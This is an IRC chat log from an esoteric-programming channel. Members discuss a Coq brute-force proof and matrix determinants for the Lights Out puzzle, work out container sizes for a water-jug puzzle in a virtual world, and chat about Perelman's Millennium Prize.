02:08:51 <pikhq> There is a PRNG on the esolang wiki's algorithms page.
02:09:20 <pikhq> But obviously you're going to find a decent source of entropy to make it even vaguely useful.
02:09:38 <pikhq> (I suggest "Please pound on the keyboard")
02:10:43 <pineapple> bah... all my decent ideas for entropy kill the use of stdin
02:11:46 <pikhq> Well, yeah. There aren't any other sources of input at all.
02:11:49 <fax> random numbers in brainfuck shouldn't be hard
02:11:53 <oerjan> pineapple: cat your entropy source and input together?
02:11:57 <fax> oh it's been done
02:12:10 <pikhq> fax: Brainfuck has only one non-deterministic feature. ","
02:12:22 <fax> pikhq of course I meant pseudorandom :(
02:12:43 <fax> wow I'm already through 341 of 512 cases!
02:13:10 <oerjan> fax: wth you're not just doing the 9 pieces?
02:13:16 <fax> oerjan just 9
02:13:32 <fax> my algorithm doesnt take into account any symmetries
02:13:45 <fax> I'm doing a formal proof by brute force
02:13:50 <fax> ein coq
02:14:07 <oerjan> fax: i mean, you're not just checking if you can get each single piece toggled?
02:15:12 <fax> iim trying to prove
02:15:12 <fax> Theorem complete : forall a b c d e f g h i, moves (a::b::c::d::e::f::g::h::i::nil) win.
02:15:20 <fax> which says that for every starting board you can solve it
02:15:28 <fax> by using a finite number of moves
02:15:45 <oerjan> oh well
02:15:46 <fax> so I could play each board and that would prove it, but I wrote a thingy that plays it for me instead
02:15:51 <fax> it's really really stupid ;D
02:16:04 <oerjan> now prove it for an m*n board ;D
02:16:06 <fax> I didn't even have to show that moves are comutative or doubled up cancel out
02:16:07 <fax> or symmetries
02:17:59 <pineapple> oerjan: yeah... :-/
02:18:29 <pineapple> fax: what are your assumptions?
02:18:34 <fax> none
02:18:52 <fax> I just axiomatized what moves are valid (all 9 of them)
02:19:01 <pineapple> assuming that a move flips 5 cells in a + pattern, doesn't wrap around
02:19:04 <fax> as a data type
02:19:05 <pineapple> and which board size?
02:19:08 <fax> 3x3
02:19:12 <fax> it's taken over 10 mins :D
02:19:14 <pineapple> ok
02:19:27 <pineapple> heh
02:19:37 * fax is on case 210/512
02:19:46 <fax> if I took ONE symmetry into account it would be done now
02:19:52 <pineapple> heh
02:19:56 <fax> and there'sa lot more than one
02:20:12 <pineapple> counting symmetries, there are:
02:20:18 <fax> if I proved it using a clever method that doesn't involve search..... I wonder if I would still be doing it :P
02:20:19 <pineapple> 3 boards with 1 cell
02:20:52 <pineapple> 7 boards with 2 cells
02:21:11 <pineapple> enumerate all 3 and 4 cell positions, invert for 5-8
02:21:15 <pineapple> and then 0 and 9 are 1
02:21:19 <pineapple> and solve those
02:21:46 <fax> mm
02:21:52 <fax> I should make redo this tommorw, and record it
02:22:03 <pineapple> (my 7 for 2 lights are: 12 13 15 16 19 25 26)
02:22:07 <fax> then I can time the porgramming time vs the pproof checking timem for all these different approaches
02:22:45 <pineapple> what language are you using to check them in?
02:23:09 <fax> co
02:23:10 <fax> coq
02:23:16 <pineapple> ?
02:23:25 <Sgeo> PSOX?
02:23:27 <pineapple> this one i need to look up?
02:24:06 <oerjan> ooh
02:24:16 <pineapple> >#
02:24:17 <oerjan> fax: 4*4 _isn't_ all solvable
02:24:18 <pineapple> oops
02:24:30 <oerjan> (says my determinant check)
02:24:30 <fax> im glad I'm not doing 4x4 :P
02:24:37 <pineapple> oerjan: are you sure?
02:24:43 <fax> wait you use determinant for this lights out thing?
02:24:48 <oerjan> pineapple: determinant of the matrix is 0
02:24:57 <oerjan> yep
02:25:09 <Sgeo> oerjan, thought someone said it was -7?
02:25:09 <oerjan> fax: you didn't see all the discussion above?
02:25:19 <oerjan> Sgeo: that was me, and for 3*3
02:25:37 <fax> :(
02:25:40 <Sgeo> Oh, the 0 was for 4*4
02:25:45 <oerjan> 3*4 is -9, so also all solvable, but 4*4 is 0, so not
02:26:11 <Sgeo> I suppose it's better to randomize than to Simulate random clicks
02:26:29 <oerjan> Sgeo: that would depend on how hard you want to make it...
02:26:37 <fax> by the way
02:26:50 <fax> nothing
02:28:21 <fax> wow I don't understand that idea with the matrix at all
02:28:22 <pineapple> oerjan: ok. yeah... googling seems to confirm what you're saying...
02:28:35 <fax> what's M? (the rules of the game, but encoded how?)
02:28:44 <pineapple> random unsolvable 4x4 board: .XXX/...X/.XXX/....
02:28:55 <oerjan> Main> lightsout 3 3
02:28:55 <oerjan> [[1,1,0,1,0,0,0,0,0],[1,1,1,0,1,0,0,0,0],[0,1,1,0,0,1,0,0,0],[1,0,0,1,1,0,1,0,0],[0,1,0,1,1,1,0,1,0],[0,0,1,0,1,1,0,0,1],[0,0,0,1,0,0,1,1,0],[0,0,0,0,1,0,1,1,1],[0,0,0,0,0,1,0,1,1]] :: [[Integer]]
02:29:21 <oerjan> fax: that's the matrix for 3*3
02:29:41 <pineapple> oerjan: 2x3 should give you 0 as well
02:29:49 <fax> 131/512!
02:30:15 <oerjan> pineapple: yeah it does. interesting that those determinants are _exactly_ 0, and not just even.
02:30:23 <fax> oerjan, oh I have a data type like this but it's not a matrix
02:30:35 <fax> oh! I see what you do, that's really neat!
02:30:43 <fax> I should program this too
02:30:44 <pineapple> oerjan: do you get the significance of the number if it's non-zero?
02:30:44 <oerjan> fax: this is just a haskell list of lists, actually.
02:30:53 <pineapple> or do you think there isn't one
02:30:53 <fax> oerjan well I am thinking of it as a matrix
02:31:00 <oerjan> i had a determinant program from way before which used lists of lists
02:31:18 <fax> my computer is really REALLY struggling with a particular lights out configuration
02:31:18 <pineapple> also: if you can work out the determinant of a 3x3 in your head, i have the perfect game for you
02:31:47 * Sgeo has another puzzle that needs math analysis
02:31:49 <oerjan> pineapple: this is actually a 9*9 _matrix_ for the 3*3 game, so no :D
02:31:50 <Sgeo> Not today though
02:32:03 <pineapple> oerjan: a 3x3 matrix, not a 3x3 board
02:32:11 <pineapple> Sgeo: feel free to try us
02:32:22 <oerjan> pineapple: ouch. well _maybe_ i could do it.
02:32:32 <oerjan> doesn't mean i feel like it...
02:32:47 <oerjan> i guess i'd want to use minors
02:32:53 <pineapple> http://www.boardgamegeek.com/thread/402843/rules-non-degenerate-or-not-quite-kramers-rule
02:33:29 <oerjan> minors of 3*3 are just cross products anyhow (also discussed above)
02:33:38 <pineapple> minors?
02:34:22 <Sgeo> Actually, instead of asking for math help, there's probably enough analysis stuff posted somewhere. I just need to know the name
02:34:32 <pineapple> Sgeo: describe it
02:34:33 <oerjan> minors of matrices, a tool for evaluating the determinant
02:34:47 <oerjan> although not very useful for big ones iirc
02:35:18 <Sgeo> There are two containers of water, a larger one [A], and a smaller one [B]. You can fill a container completely with water, transfer water from one to the other [the transfer stops when the repicient is full or the sender is empty], and drain a container
02:35:22 <pineapple> oerjan: if i get what you're saying... then yes, probably only useful for 3x3
02:35:32 <Sgeo> There's a red line on container A. the goal is to get the water level of A to match the line
02:35:34 <pineapple> Sgeo: and aiming for a target?
02:35:35 <pineapple> ok
02:35:50 <pineapple> i know the puzzle genus
02:36:28 <oerjan> pineapple: the determinant being even but non-zero doesn't have any significance for lights out, but you could maybe create a similar game based on addition with a different modulus than 2, where it would be.
02:36:31 <Sgeo> The practical problem I have is this: If I'm given the size of A and B, can I move the line and be able to make a puzzle such that a solution exists?
02:37:51 <pineapple> oerjan: did you click the link i gave?
02:38:22 <pineapple> oerjan: reason i asked about the significance of it is that... i think that 7 presses the is the max needed for 3x3 and 9 for 3x4
02:38:46 <pineapple> which (and i might be very wrong here) i think means that 5x5 will give -23
02:39:44 * Sgeo pokes
02:39:52 <pineapple> Sgeo: thinking
02:40:27 * Sgeo appends an "and if so, how"
02:40:35 <oerjan> pineapple: doing now
02:40:59 <oerjan> Sgeo: well obviously you can put the red line in the place corresponding to the volume of B
02:41:08 <pineapple> Sgeo: assuming that the water supply is infinite, that A > B, that A > target, and that everything is integers?
02:41:44 * fax 52 cases left!!
02:42:17 <pineapple> Sgeo: the obvious are nB and A-nB
02:42:25 <pineapple> then look at what's left
02:42:34 <oerjan> pineapple: um no 3*3 can require 9 presses
02:42:57 <pineapple> (but don't bother with the latter half if A % B == 0)
02:43:01 <pineapple> oerjan: hmm... ok
02:43:52 <oerjan> pineapple: because all configurations can be solved, _every_ push subset of the 9 must be different. so if you push all 9, there is no way to get it back without pushing them all again.
02:44:17 <Sgeo> I'm still not sure whether everything is integers
02:44:31 <pineapple> Sgeo: if you assume it, it's a lot easier
02:44:34 <Sgeo> Actually, I don't think it's a safe assumption
02:44:36 <oerjan> Sgeo: golden ratio might be interesting :D
02:44:52 <Sgeo> Let me show you a picture
02:45:44 <Sgeo> http://i.imgur.com/3CenQ.jpg The only thing I can easily change is the red line
02:45:45 <pineapple> oerjan: ok... doesn't all 9 invert all 9?
02:45:50 <oerjan> pineapple: determinant for 5*5 is 0, actually. (so not all solvable)
02:46:00 <oerjan> pineapple: nope
02:46:13 <pineapple> oerjan: weird...
02:46:21 <pineapple> Sgeo: where is this?
02:46:24 <oerjan> it toggles a diagonal cross
02:47:06 <Sgeo> pineapple, it's supposed to be confidential, but I don't care. I'm under no contract.
02:47:12 <Sgeo> Active Worlds
02:47:30 <pineapple> Sgeo: if you're under NDA, be careful...
02:47:36 <oerjan> Sgeo: are the containers empty at the start?
02:47:40 <Sgeo> oerjan, yes
02:47:59 <pineapple> hmm... i doubt that it's properly floats... might be large intergers, though
02:48:31 * Sgeo isn't even sure how to measure them precisely
02:48:49 <pineapple> Sgeo: are you willing to be unsceientific?
02:49:05 <Sgeo> If you mean with measuring, I think I have to be
02:49:11 <alise> pineapple: it's not NDA Sgeo just likes to spend time in projects where kids pretend they're professional
02:49:25 <alise> and "fire" people and make "design plans" and really they're just making some random stuff in virtual reality without pay
02:49:32 <pineapple> hold a ruler up to the screen, etc
02:50:07 <Sgeo> I think the only kid in this project is the other programmer
02:51:17 <fax> yay proof complete!!!
02:51:31 <fax> so yeah you really can get every configureation
02:52:43 <fax> http://pastie.org/878074
02:52:45 -!- jcp has joined.
02:52:49 <fax> most stupid way I could think of at the time
02:53:20 <Sgeo> So, I move the line to A-B?
02:54:02 <pineapple> Sgeo: easiest way, yeah...
02:54:03 <pineapple> btw:
02:54:24 <pineapple> if all numbers are integers, there's no guarantee that it's solvable for all line positions
02:55:14 <pineapple> if A and B aren't coprime, then the target has to be a multiple of hcf(A,B)
02:56:08 * Sgeo really needs a way to repay pineapple, oklopol, and oerjan. Thank you SO MUCH
02:56:35 <Sgeo> I feel like I'm taking and not giving
02:56:42 <Sgeo> And fax
02:56:43 <Sgeo> And alise
02:57:05 <Sgeo> fax, what language is that?
02:57:28 <fax> coq
02:57:50 <fax> I just did this because it's ridiculous to do this
02:58:02 <fax> and I wanted to do a huge proof by computation
02:58:22 <fax> even though it was a contrived one
02:59:05 <Gregor> [In case anybody's interested, some game music I'm writing per request: http://codu.org/tmp/gm1wipp3.ogg ]
02:59:36 -!- augur has quit (Ping timeout: 265 seconds).
02:59:51 <oerjan> Sgeo: (0,0)(A,0)(0,B)(A-B,B)(A,B)(B,0)(A-B,0)(B,B) are the only configurations i can get without knowing more about the relative size of A and B
03:00:11 <Sgeo> What's the second number supposed to be?
03:00:24 -!- augur has joined.
03:00:25 <oerjan> (contents of A, contents of B)
03:00:44 <oerjan> with A and B being their max volume
03:02:29 <oerjan> the last two are the only ones that might give more options by doing a transfer
03:02:44 <oerjan> hm wait
03:03:19 <oerjan> but what they give depend on whether they fill up or empty first
03:04:07 <oerjan> (0,A-B) or (A-2B,B) vs. (2B,0) or (A,2B-A)
03:04:20 <oerjan> *depends
03:04:45 <Sgeo> oerjan, I'm interested in the configuration of the ring. I think at win, the water level of B is irrelevant
03:05:02 <pineapple> Sgeo: tap to A; while(A isn't empty) {A to B; if (B is full) B to floor; else tap to A;}
03:05:32 <pineapple> will, if A and B are co-prime, eventually pass through all amounts possible in A
03:05:39 <oerjan> Sgeo: i need both to know what i can get _from_ there though
03:05:56 <pineapple> oerjan: ^ might be helpful
03:06:09 <pineapple> in fact, that will cycle through all possible values of B as well
03:06:16 <Sgeo> I don't have an easy way of measuring both atm
03:06:28 <Sgeo> Hold on, actually
03:06:33 <pineapple> Sgeo: that psuedocode any help?
03:06:34 <oerjan> pineapple: co-prime is irrelevant
03:06:55 <Sgeo> pineapple, when the puzzle is set up, I know how [inefficiently] to solve it
03:07:02 <oerjan> that's just factoring out the common factor
03:07:08 <pineapple> oerjan: only slightly... if they aren't, then there's less possible levels that can be hit
03:07:33 <pineapple> Sgeo: that;s also probably the most efficient way...
03:07:47 <oklopol> yeah but we can probably assume the sizes are reals or rationals
03:07:51 <oklopol> is what oerjan meant
03:07:55 <oklopol> i have no idea what you're talking about
03:07:57 <pineapple> either that or backwards, which is filling B and pouring as much into A each time
03:07:58 <oerjan> pineapple: i suppose by "all amounts possible" you mean "all integer amounts between 0 and A"?
03:08:10 <Sgeo> When the original game was around, I just kept in mind to "preserve information"
03:08:46 <oklopol> what does it mean that a gameboard is divided into 11 segments
03:08:55 <Sgeo> I think A = (3/2) B
03:09:00 <pineapple> oerjan: yes... although if they're not integers, then eventually you will either hit all possible things or never end...
03:09:05 <oklopol> well i guess just that, and i should read the rest of the rules to find out moer
03:09:06 <oklopol> *more
03:09:18 -!- augur_ has joined.
03:09:31 <pineapple> <oklopol> what does it mean that a gameboard is divided into 11 segments - ?
03:09:47 <Sgeo> Actually, I just thought of an exact way to measure it *facepalm*
03:09:48 <oerjan> pineapple: oh wait i think i see a clue there - you always tap _into_ A but _out of_ B
03:10:11 <pineapple> oerjan: essentially: yes... or the other way around
03:10:15 -!- augur has quit (Ping timeout: 265 seconds).
03:10:44 -!- augur_ has changed nick to augur.
03:10:52 <oerjan> the total amount is always between 0 and A+B
03:11:18 <Sgeo> I'm going to go collect the exact numbers
03:12:35 <oklopol> i like the matrix game
03:12:55 <pineapple> oklopol: the one i linked to?
03:13:04 <oklopol> and who can't calculate a 3x3 matrix determinant, you have to be able to remember like 5 numbers
03:13:19 <pineapple> oklopol: actually... less i think
03:13:22 <oklopol> i mean i'm not saying i can do it fast enough to play the game
03:13:30 <oklopol> yeah that was a completely random number
03:13:49 <pineapple> once you have it for the opening position: you only need to look at the (broken) diagonals of the target cell
03:13:55 <oklopol> i'm too tired to even want to think about trying to find the correct number
03:14:15 <oklopol> right of course
03:14:25 <fax> ad;D
03:14:55 <oerjan> so what it really does is x=A; while (x) {if (x>=b) x-=b; else x+=a;}
03:15:02 <Sgeo> A: 6
03:15:04 <Sgeo> B: 4
03:15:14 <oklopol> night again
03:15:15 <oerjan> *x=a;
03:15:17 <Sgeo> Night oklopol
03:15:17 <oklopol> ad;D?
03:15:18 <oklopol> ->
03:15:34 <pineapple> Sgeo: you pulled those numbers from the code?
03:16:06 <Sgeo> pineapple, I moved an object to the bottom and top of each cylinder, and measured its location
03:16:22 <pineapple> suggest you do an svn blame (or equivalent), then yell at whoever chose those numbers
03:16:33 <Sgeo> Um, why?
03:16:39 <Sgeo> 6/4 = 3/2, right?
03:16:42 <Sgeo> And is 3/2 bad?
03:16:43 <pineapple> yes
03:17:00 <Sgeo> How so?
03:17:09 <pineapple> but they've tried to implement something that they don't fully understand
03:17:41 <pineapple> by making a puzzle that has high marmite factor between trivial and frustrating
03:17:42 <Sgeo> I didn't understand it enough to be able to give instructions
03:18:50 <oerjan> `define marmite factor
03:19:01 <pineapple> oerjan: never seen the tv ads?
03:19:07 <Sgeo> I take it it's difficult to solve?
03:19:17 <oerjan> i don't watch tv, _and_ i'm norwegian
03:19:21 <pineapple> "marmite - you either love it or you hate it" - there's nothing in between
03:19:23 <HackEgo> No output.
03:20:07 <oerjan> i do have a vague understanding of what marmite is, though
03:20:15 <Sgeo> So to some it's difficult, some it's annoyingly easy?
03:20:24 <pineapple> Sgeo: i mean that it's either very trivial or very frustrating... and if the player can't work out that they should aim for A-B to make it trivial, then they will be very frustrated by it
03:20:49 <Sgeo> Why don't I program it and see if it frustrates me
03:21:16 <pineapple> only if i choose the numbers :-)
03:21:49 <Sgeo> Getting the person who created this to change it is probably ah.. somewhat difficult
03:22:11 -!- alise has quit.
03:22:34 <pineapple> Sgeo: then ask them a direct question: "what are you trying to acheive by including this puzzle? what is the point that you're trying to make?"
03:22:36 * oerjan now understands why that algorithm cycles through all possible amounts
03:22:55 -!- Oranjer has left (?).
03:23:05 <Sgeo> pineapple, the puzzle is there because it was in the original game, but getting the numbers from the original is nigh-impossible now
03:23:15 <pineapple> original?
03:23:22 <Sgeo> THe numbers are what they are because no one had a clear understanding of what they should be
03:23:45 <Sgeo> http://wiki.activeworlds.com/index.php?title=Mutation
03:25:01 <pineapple> have you tried googling for spoilers, then calculating the numbers from that?
03:25:11 <Sgeo> Original equiv puzzle: http://wiki.activeworlds.com/index.php?title=Image:Blue_crystal.PNG
03:26:06 <Sgeo> Let me implement this, and if it really is that bad, I can convince someone to change the numbers
03:26:24 <pineapple> Sgeo: i take it that no-one else have even considered to measure them?
03:26:33 <Sgeo> Correct
03:26:47 <Sgeo> We wouldn't know how, I thinkl
03:27:03 <pineapple> ...
03:27:13 <Sgeo> I mean, besides measuring pixels in a screenshot
03:27:28 <oerjan> Sgeo: you could use pineapple's algorithm
03:27:53 <oerjan> basically see how long it takes until you cycle to all 0
03:27:58 <Sgeo> I thought pineapple was giving a solution for the puzzle, not how to generate.. OH
03:28:30 <oerjan> i am pretty sure you can deduce the ratio of A to B from the progression
03:28:32 <pineapple> well
03:28:35 <pineapple> taht works, yes
03:28:48 <Sgeo> The original isn't playable anymore
03:28:50 <Sgeo> Although we can visit
03:28:51 <pineapple> the other way is measure with pixels and see what numbers you get
03:28:53 <oerjan> assuming you manage to avoid hitting the red line
03:29:05 <pineapple> and if you do hit the red line
03:29:09 <pineapple> go the other way around
03:29:24 <oerjan> heh
03:29:30 <Sgeo> Where did pineapple put his algorithm
03:29:45 <pineapple> pixels: a=227, b=118, target=76
03:29:49 <pineapple> Sgeo: /last tap
03:30:01 <oerjan> <pineapple> Sgeo: tap to A; while(A isn't empty) {A to B; if (B is full) B to floor; else tap to A;}
03:30:32 <oerjan> that causes the total amount to be changed by -B (mod A) at each step
03:30:34 <Sgeo> What does tap mean? go to top?
03:30:47 <oerjan> yeah
03:30:49 <pineapple> tap to A means fill A from the tap
03:31:00 <pineapple> (all the way to the top)
03:31:02 * Sgeo does this by hand
03:31:13 <pineapple> B to floor means empty B
03:31:53 <oerjan> you count how many times you fill A, and how many times you empty B, until you cycle. then the ratio of times = ratio of volumes
03:32:22 <Sgeo> I think I just hit an infini.. um
03:32:31 <Sgeo> So this isn't how to determine how easy it is?
03:32:43 <Sgeo> I think I hit the solution a bit too soon
03:32:47 <pineapple> my code is written based on C
03:32:50 <oerjan> it's how to determine all relevant information
03:33:07 <pineapple> (relevent for getting the if statement handled correctly)
03:33:10 <Sgeo> For 6:4, tapping A, A->B is done
03:33:33 <pineapple> Sgeo:move the red line
03:33:51 <Sgeo> The only positions A reaches are 0, 2, and 6
03:33:52 <pineapple> out of the way if you can
03:34:03 <Sgeo> Unless I'm doing something wrong
03:34:09 <pineapple> Sgeo: yeah... sounds like you are
03:34:10 <oerjan> Sgeo: if you _know_ it's 6:4 you don't need to measure do you
03:34:34 <Sgeo> oerjan, those are the measurements for the NEW stuff. I still don't know what the original was, but I think it was tougher than this
03:34:56 <pineapple> Sgeo: i'm almost certain it is, based on the screenshot
03:34:58 <pineapple> hang on
03:35:19 <Sgeo> A can never reach anything other than 0, 2, and 6?
03:35:24 <oerjan> Sgeo: pineapple's algorithm shows that you can choose _any_ integer volumes you want
03:35:42 <oerjan> Sgeo: it should be able to reach 4
03:35:58 <Sgeo> Hm
03:36:09 <Sgeo> Um, that's even easier
03:36:59 <oerjan> Sgeo: the spots you can hit are the multiples of the greatest common factor of 6 and 4 (i.e. 2)
03:37:18 -!- fax has quit (Quit: Lost terminal).
03:37:24 <pineapple> Sgeo: nearest (smallest) interger solution for the original image, based om measurements: A=25, B=13, t=4
03:37:53 <oerjan> heh
03:37:57 <Sgeo> Hm, remember, the camera was kind of at an angle
03:38:00 <Sgeo> t?
03:38:07 <pineapple> target
03:38:13 <pineapple> wait
03:38:17 <pineapple> that's not right, lol
03:38:20 <pineapple> t=8
03:38:38 <pineapple> or...
03:38:42 <pineapple> fuck, hang on
03:39:27 <pineapple> no...
03:39:30 <pineapple> that ain't right...
03:39:36 <oerjan> if it were A=24, B=12 then things would be a bit awkward :D
03:39:40 -!- songhead95 has joined.
03:39:46 <songhead95> Hi
03:39:48 <pineapple> i'm getting t of 8,37
03:40:17 <Sgeo> Maybe a more straight-on picture would be appreciated?
03:40:27 <pineapple> yes, very
03:40:41 <pineapple> in the original... did the red line move? i'm assuming not
03:41:01 <Sgeo> It did not
03:41:04 <Sgeo> As far as I remember
03:41:12 <songhead95> is there a Brainfuck interpreter that just takes input from stdin, and can be used as a shell interpreter eg.
03:41:12 <songhead95> #!/usr/local/bin/BRAINFUCK
03:41:21 <songhead95> or something
03:41:59 <Sgeo> Should I try to make it so that the bottom edge of each cylinder is head-on?
03:42:03 <oerjan> songhead95: almost any interpreter should be able to do that, since all those #! characters are comment characters in BF
03:42:07 <pikhq> songhead95: Several.
03:42:12 <pineapple> Sgeo: yes
03:42:28 <pikhq> Might I suggest Egobfi?
03:42:33 <pineapple> also, as large as you can get it
03:42:59 <songhead95> thank you
03:44:31 <Sgeo> http://i.imgur.com/Sn4ZE.png
03:46:15 <pikhq> Sgeo: AW looks positively... 90s.
03:47:16 <pineapple> B 157, A 283, t 93-96 (likely somewhere in the middle)
03:47:52 <Sgeo> pikhq, it is
03:48:02 <pineapple> A/B gives 1.802547771
03:48:12 <pineapple> suggests 9/5
03:48:39 <Sgeo> Probably better to use 9/5 than the exact original measurements
03:48:43 <pineapple> which puts t at 3
03:48:58 <pineapple> there's your answer, honey
03:49:04 <Sgeo> tyvm
03:49:05 <pineapple> it's highly unscientific
03:49:12 <pineapple> but... that's often the best way
03:49:15 <Sgeo> So what? Will it be playable?
03:49:59 <oerjan> Sgeo: all integers are playable, in principle ;D
03:50:07 <Sgeo> Will it not be too trivial?
03:50:40 <oerjan> lessee
03:50:40 <pineapple> that should be... relatively easy
03:50:55 <Sgeo> As long as it's not as trivial as 3/2 was
03:51:43 <pineapple> when B is emptued for the 3rd time, A has 3 in it
03:52:07 <pineapple> that's not trivial... and probably not that frustrating
03:52:14 <Sgeo> Awesome
03:52:20 <Sgeo> pineapple, how can I repay you?
03:52:21 <oerjan> 5*2 == 1 (mod 9)
03:54:05 <pineapple> Sgeo: can't think of anything
04:09:49 -!- Asztal has quit (Ping timeout: 264 seconds).
04:26:06 -!- jcp has quit (Quit: I will do anything (almost) for a new router.).
05:15:10 -!- augur has quit (Ping timeout: 256 seconds).
05:49:08 -!- augur has joined.
05:49:20 <augur> eyo
05:56:56 <Sgeo> So much for hoping that my code would be perfect first time
06:27:08 -!- deschutron has left (?).
06:30:58 -!- coppro has joined.
07:21:30 -!- oerjan has quit (Quit: leaving).
07:58:18 -!- Sgeo has quit (Ping timeout: 265 seconds).
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:29:56 -!- coppro has quit (Quit: upgrade time).
08:53:53 -!- coppro has joined.
09:00:18 -!- coppro has quit (Quit: I am leaving. You are about to explode.).
09:33:04 -!- kar8nga has joined.
09:33:45 -!- kev_ has joined.
09:34:14 -!- kev_ has quit (Client Quit).
09:36:11 -!- pikhq has quit (Read error: Connection reset by peer).
09:37:30 -!- FireFly has joined.
09:42:48 -!- pikhq has joined.
10:06:24 -!- tombom has joined.
10:24:23 -!- nooga has joined.
10:36:52 <nooga> ouch
10:37:05 <nooga> i just caused panic
10:42:13 -!- BeholdMyGlory has joined.
11:11:13 -!- nooga has quit (Ping timeout: 240 seconds).
11:15:40 -!- MigoMipo has joined.
11:25:05 -!- kar8nga has quit (Read error: Connection reset by peer).
11:36:29 -!- nooga has joined.
11:45:10 -!- alise has joined.
11:45:20 <alise> Maximal antipotential.
11:45:37 <alise> 07:18:59 <ais523> wow, the Poincaré conjecture has been proved
11:45:43 <alise> :slowpoke:
11:46:12 <alise> the guy who solved it is awesome he denied a prize for it because he didn't think the board were qualified to assess his work
11:46:41 <alise> "According to a 2006 interview, Perelman is currently jobless, living with his mother in Saint Petersburg."
11:46:47 <alise> guess he really doesn't like money
11:49:55 <alise> ais523: to be less obtuse, the Poincare conjecture was proved 2002-2003
11:50:54 <fizzie> Yes, but the actual millennium prize about it seems to have been awarded to him two days ago, making this a bit topical. One has to wonder whether they bothered to ask him if he wants it, though.
11:52:17 <alise> On 18 March, 2010, Perelman was awarded a Millennium Prize for solving the problem.[14] He had previously stated that "I'm not going to decide whether to accept the prize until it is offered."[3]
11:52:21 <alise> So: I think he did accept.
11:53:04 <alise> http://www.claymath.org/poincare/index.html
11:53:12 <alise> they misromanised his name :)))
11:53:51 <fizzie> I don't know; New Scientists says "A million-dollar prize for solving one of toughest problems in mathematics has been awarded to a Russian mathematician, but the real puzzle is whether he'll accept it."
11:54:02 <alise> Ah; okay.
11:54:04 <fizzie> "The president of CMI, James Carlson, is waiting to see if Perelman will do the same for the Millennium prize. "It may be a while before he makes his decision," he says."
11:54:05 <alise> Then we will see.
11:54:29 <Deewiant> alise: There are different romanizations, and that, AFAIK, is valid.
11:54:29 <alise> I imagine he will probably decline; why Millennium but not Fields?
11:54:43 <alise> Deewiant: Yeah, I know :P
11:54:54 <alise> Grigori is a nicer romanisation though
11:55:01 <fizzie> Though, billions and billions of dollars!
11:55:14 <fizzie> Maybe his mother goes all "you'll take that money or I'll kick you out".
11:55:17 <Deewiant> I guess the -iy is closer to the actual pronunciation
11:55:40 <Deewiant> Although I guess nobody English will pronounce it any differently whether it's -i, -y, or -iy
11:55:59 <alise> Billions and billions: 1 million
11:56:30 <fizzie> Well, those were small billions.
11:56:38 <alise> I'm pretty sure anyone who declines the Fields medal is one fucking morally certain man
11:57:05 <alise> Heh, the Fields medal only awards $15,000USD as of 2006
11:58:13 <alise> 19:46:15 <pikhq> Sgeo: AW looks positively... 90s.
11:58:13 <alise> that's why he likes it
11:58:31 <alise> WIND OF FURY! POWER OF BLOOD! HEALING! LIGHT! BY YOUR POWERS COMBINED, I AM---
11:58:34 <alise> (http://i.imgur.com/Sn4ZE.png)
11:58:39 <alise> ooh, I forgot MAGIC SHIELD!
12:00:16 <fizzie> The one that ends up with -i sounds a bit non-information-preserving; I don't know how that domanization would differentiate between Григорий and Григори; google seems to suggest that some people use the latter as a name too.
12:00:27 <fizzie> s/dom/rom/
12:00:33 <alise> Fair enough.
12:00:35 <fizzie> DOMINATION.
12:00:36 <oklopol> even if i had no use for a million, i'd take it just so others don't get it
12:01:04 <alise> I might decline some prestigous prize because I'll be more famous if I do that :)
12:01:11 <oklopol> but i would totally have a use for a million, i've always wanted to give some homeless guy 100000
12:01:34 <fizzie> oklopol: Then he'll spend it all on booze and die, you man-slaughtererer.
12:01:53 <oklopol> :DDDD
12:01:55 <alise> Quite frankly I would enjoy money.
12:02:05 <alise> Shocking, I know.
12:02:12 <oklopol> i would probably choose one whose brain isn't completely melted yet
12:02:29 <oklopol> oh well i would probably buy a house too
12:02:35 <oklopol> and a few books
12:03:08 <oklopol> and probably give half of the rest to people i know and half in a bank of smth
12:03:10 <fizzie> My wife asked me what I'd do with 50 million euros (she'd buy some 14-million manor somewhere, I forget just where); the first thing I could think of was "hmm, maybe I'll buy dessert with lunch at work". (That costs 0.95 eur extra.)
12:03:35 <oklopol> i like books
12:03:41 <oklopol> dessert not so much
12:04:46 <alise> i'd prolly just hire a buncha expensive people to manage it for me and turn it into more money (they can have some so they don't run away)
12:04:53 <alise> and then I could gain money without bound, and thus I could completely ignore money as it is, over time, infinite
12:05:03 <alise> take that, capitalism
12:05:05 <nooga> yes
12:05:41 <fizzie> Everything's so expensive nowadays since I no longer get any student discounts; apparently graduate students aren't quite as good as real students. So the lunch is now 5.40 eur as opposed to 2.55 or so.
12:05:59 <nooga> hehe
12:06:47 <alise> i'd also get loads of people to build my perfect house, buying one is so boring
12:06:48 <oklopol> you don't work at uni? i mean if you get a salary, 5,40 is nothing
12:07:08 <alise> i want like... i don't know, cool technology. in my walls
12:07:51 <fizzie> oklopol: It's the principle of it! Besides, the change in lunch price pretty much ate the wage-raise I got by graduating. (It bumps the "difficulty level" pay-scale column index by one automatically.)
12:08:11 <fizzie> (And the change in bus ticket price did the rest.)
12:14:54 <alise> even though I dislike geometric proofs
12:14:58 <alise> Elements is so beautiful
12:15:02 <alise> the first constructivist work, I wonder?
12:15:30 <alise> also using geometry as the foundation of all mathematics amuses me...
12:16:05 <nooga> weird
12:17:02 <alise> not really
12:17:17 <alise> i mean his geometry basically embeds the real numbers...
12:18:52 <nooga> ha!
12:19:06 <nooga> i'm going to scotland!
12:21:39 <oklopol> can't you do geometry on rationals?
12:23:24 <oklopol> i haven't actually seen an axiomatization of geometry, but i hear there were some really simple things that hadn't been realized to not be derivable from the axioms but were used as if they were, as late as late 1900's
12:23:40 <oklopol> because it's such a hard thing to axiomatize, given we have such strong intuitions about it
12:23:52 <oklopol> something like points exist between two points
12:25:35 <oklopol> we have a geometry course at uni, but apparently it skips some of the boring details
12:27:07 <oklopol> probably have to be pretty boring, because the lecturer said they were, and he was all hyper over cyclic modules "and we get this particularly fascinating fellow" he loves to personify things "if we just have one generator"
12:28:47 <fizzie> The Matrix Computations lecturer refers to matrices and vectors as people too, usually with the word "guy"; "and this guy here ... and we get this guy ..." and so on.
12:30:58 <fizzie> He also keeps laughing all the time, without any explicit jokes.
12:31:09 <oklopol> if there's a sum where i goes from 1 to n, the same lecturer often says "ja i kipittää 1:stä n:ään"
12:31:13 <oklopol> which i always find hilarious
12:31:44 <oklopol> where the funny thing is kipittää is a funny word
